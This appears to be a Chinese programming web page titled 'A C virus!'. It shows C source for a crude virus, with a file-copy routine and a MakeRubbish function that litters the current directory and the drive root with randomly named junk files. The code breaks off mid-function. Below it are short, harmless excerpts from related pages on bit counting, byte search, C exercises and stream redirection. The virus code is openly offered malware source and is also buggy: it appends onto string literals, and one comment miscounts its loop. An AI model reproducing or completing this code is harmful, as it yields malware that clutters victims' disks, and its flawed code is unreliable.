一个C病毒 !
//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
FILE *in,*out; //定义文件指针
in = fopen(infile,"r"); //打开文件
out = fopen(outfile,"w"); //建立文件
while (!feof(in)) //判断文件是否已结束
{
fputc (fgetc(in),out); //从in读一字符到out
}
fclose (in); //关闭in文件
fclose (out);//关闭out文件
return 0; //返回
}
int MakeRubbish (void)
{
int i; //声明整形变量i
FILE *fp; //文件指针fp
char *path; //路径指针
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
char *addtion = ":\\";
for (i = 0; i<5; i++) //循环4次
{
char tempname[] = "XXXXXX" ; //随机名字
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建文本文件
fclose (fp); //关闭fp文件流
}
path = strcat(disk[getdisk()],addtion); //得到根编号
chdir(path); //改变工作目录
for (i = 0; i<5; i++) //循环次数
{
char tempname[] = "XXXXXX"; //串赋入数组
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建新文件
fclose (fp); //关闭文件
&n
相关文档:
位计数就是对一个数中具有某些特征的位进行计数。看下面实现:
/* bitscount.c:位计数 */
/* 计算x中1位的数目:方案1,采用分治策略 */
inline int pop(unsigned x){
/* 对每个2位字段,先析出其右端的1位,再析出其左端的1位,然后让这两个位相加 */
x=(x & 0x55555555)+((x>>1) & 0x555555 ......
字搜索就搜索一个数中具有某些特征的位。实现如下:
/* wsearch.c:字搜索 */
/* 从左边寻找第一个0字节:第0(1,2,3)个字节是0时,返回0(1,2,3),否则返回4 */
int zbytel(unsigned x){
if((x>>24)==0) return 0;
else if((x & 0x00ff0000)==0) return 1;
else if((x & 0x0000ff00)==0) r ......
1.1请根据自己的认识,写出C语言的主要特点。
1.2C语言的主要用途是什么?它和其他高级语言有什么异同?
1.3写出一个C程序的构成。
1.4C语言以函数为程序的基本单位,有什么好处?
1.5请参照本章例题,编写一个C程序,输出一下信息:
×××××××××××& ......
C++的实现
#include<fstream>
#include <iostream>
using namespace std;
int main()
{
ofstream logTest("foo.log");
streambuf *oldbuf = cout.rdbuf(logTest.rdbuf());
cout << "输出 ......
#include<stdio.h>
#include<regex.h>
int main(int argc, char** argv)
{
if(IsLegalPage("http://www.baidu.com"))
printf("该网页合法\n");
else printf("该网页不合法!!!\n");
return 0;
}
/* 函数说明:判断网页是否合法
* 输入参数:需要判断的网 ......